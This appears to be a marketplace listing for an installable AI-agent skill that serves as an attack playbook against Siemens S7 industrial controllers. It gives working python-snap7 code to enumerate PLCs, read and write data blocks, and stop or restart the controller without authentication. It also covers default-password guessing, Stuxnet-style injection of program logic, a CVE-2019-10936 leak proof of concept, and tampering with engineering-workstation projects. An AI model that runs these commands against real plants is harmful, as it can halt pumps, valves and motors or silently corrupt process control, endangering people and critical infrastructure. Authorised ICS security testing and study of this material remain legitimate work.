# Ics S7comm

> Siemens S7 PLC attack — TCP/102 ISO-TP+S7-COMM, snap7 / python-snap7 enumeration, DB/M/E/A area read+write, PLC stop/start/run, password bypass (S7-300/400 vs S7-1200/1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).

- Skill: `purpleailab/ics-s7comm` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/ics-s7comm`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/ics-s7comm/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/ics-s7comm

---


# Siemens S7 PLC Attack

S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.

## Discover

```bash
nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name

# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)        # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'
```

## Read / Write data blocks

S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).

```python
import snap7
from snap7 import util

c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)

# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):",   util.get_int(data, 2))
print("DB10.DBD4 (real):",  util.get_real(data, 4))

# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)
```

## Stop / Start the PLC

```python
c.plc_stop()          # ⚠ halts execution of the user program — process stops
c.plc_hot_start()     # Resume
c.plc_cold_start()    # Restart with full init
# Each is unauthenticated on S7-300/400 by default.
```

## Authentication / "Protection Level" differences

| PLC family | Default protection | Bypass class |
|---|---|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |

```python
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name
```

## Stuxnet-class primitives (S7-300/400 still in many old fleets)

- **Function block tampering**: write a custom FB that replaces an existing one — process logic silently changes.
- **OB1 hook**: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
- **PROFIBUS frame injection** (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.

```python
# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0
```

## CVE-2019-10936 — info leak on S7-1200/1500

Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):

```bash
# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50
```

## TIA Portal interaction

If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:
- Steal the project file (`.ap16`) — contains every PLC's logic, comments, possibly password hashes
- Replace the project being deployed to inject persistent logic changes
- Default TIA Portal SQL — port 1433 with default sa / no password on older installs

## OPSEC + safety

- **Physical safety**: `plc_stop()` halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.
- Read-only enumeration is generally safe and silent. S7 has no audit log.
- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.
- Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.

## References

- snap7 docs — snap7.sourceforge.net
- "The S7Comm protocol" — Wireshark dissector docs
- ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
- "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)

